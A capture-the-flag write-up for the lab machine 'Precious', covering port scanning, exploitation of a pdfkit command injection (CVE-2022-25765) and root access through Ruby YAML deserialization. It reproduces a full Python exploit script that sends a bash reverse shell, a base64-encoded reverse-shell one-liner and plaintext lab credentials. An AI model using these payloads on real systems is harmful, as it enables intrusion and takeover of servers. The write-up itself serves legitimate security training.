Skip to main content

Precious

Precious is an Easy Difficulty Linux machine, that focuses on the Ruby language. It hosts a custom Ruby web application, using an outdated library, namely pdfkit, which is vulnerable to CVE-2022-25765, leading to an initial shell on the target machine. After a pivot using plaintext credentials that are found in a Gem repository config file, the box concludes with an insecure deserialization attack on a custom, outdated, Ruby script.

Enumeration

Using nmap to view open ports.

└──╼ $nmap -p- -v -r 10.10.11.189 | grep open
Discovered open port 22/tcp on 10.10.11.189
Discovered open port 80/tcp on 10.10.11.189

We see port 22 (SSH) and port 80 (HTTP) are open. Performing nmap script scan on these 2 ports.

└──╼ $nmap -sCV 10.10.11.189 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-08 21:43 AEDT
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.72s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Convert Web Page to PDF
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.48 seconds

Visiting the website http://precious.htb/. This takes website as input and seems like it is converting it to PDF.

Let's use Burp Suite to avoid front end validations. Sending the request with url=http%3a//precious.htb%3b+ls request body (trying for command injection...didn't word, but...discovered interesting information)

The response reveals that it is using pdfkit v0.8.6.

Let's search for pdfkit v0.8.6 exploit. I found this Github repository containing POC.

Exploitation

Let's explore the exploit

#!/usr/bin/env python3
import sys
import getopt
import requests
from urllib.parse import quote

def main(argv):
targetInput = '' # In "http://"" format
addrInput = ''
portInput = '9001' # By default

helpStr = """ Info:
Exploit for CVE-2022-25765 command injection in pdfkit < 0.8.6

Flags:
-t, --target Address of target in http-format
-a, --addr Address for reverse connect
-p, --port Port for reverse connect, 9001 by default

Example:
$ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337
"""

try:
opts, args = getopt.getopt(argv,"ht:a:p:",["addr=","port="])
except getopt.GetoptError:
print(helpStr)
sys.exit(2)

if not opts:
print(helpStr)
sys.exit()

for opt, arg in opts:
if (opt == '-h'):
print(helpStr)
sys.exit()
elif opt in ('-t', '--target'):
targetInput = arg
elif opt in ('-a', '--addr'):
addrInput = arg
elif opt in ('-p', '--port'):
portInput = int(arg)

print(f'[*] Input target address is {targetInput}')
print(f'[*] Input address for reverse connect is {addrInput}')
print(f'[*] Input port is {portInput}')

print('[!] Run the shell... Press Ctrl+C after successful connection')

evilPayload = f'http://?name=%20`bash -c \'bash -i >& /dev/tcp/{addrInput}/{portInput} 0>&1\'`'
postObject = "url=" + quote(evilPayload, safe="")
requests.post(targetInput, postObject)

if __name__ == "__main__":
main(sys.argv[1:])

How the Exploit Works

  1. Takes Input Parameters
    • -t, --target Address of target in http-format
    • -a, --addr Address for reverse connect
    • -p, --port Port for reverse connect, 9001 by default
  2. Performs Reverse Shell
    • Generates below payload and sends post request
http://?name=%20`bash -c \'bash -i >& /dev/tcp/{addrInput}/{portInput} 0>&1\'`

We got the reverse shell but we are ruby user, let's try to get real user

Enumeration for User Account

Enumerating ruby user. Found .bundle folder - which generally used by ruby to store config file. We can see hery's password is stored here in plain test.

Enumerating for Root

With the login credentials henry:Q3c1AqGHtoI0aXAYFH we can SSH to machine as user

Fist thing to do is check sudo -l.

henry can run /usr/bin/ruby /opt/update_dependencies.rb as root without needing any passwords. Let's see the /opt/update_dependencies.rb file

This load dependencies.yml file but it is not giving an absolute path it is using relative path. We can create malformed dependencies.yml file to escalate privilege.

We can exploit ruby decentralisation for more info check below. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Ruby.md

Let's use Universal gadget for ruby 2.x - 3.x.

Now let's execute sudo /usr/bin/ruby /opt/update_dependencies.rb we can see the id cmd has been executed.

Changing id command to reverse shell payload echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjE1LzQ0NDQgMD4mMSAK | base64 -d | bash

Listening on port 4444 and executing sudo /usr/bin/ruby /opt/update_dependencies.rb again to get root.

Captured the root flag.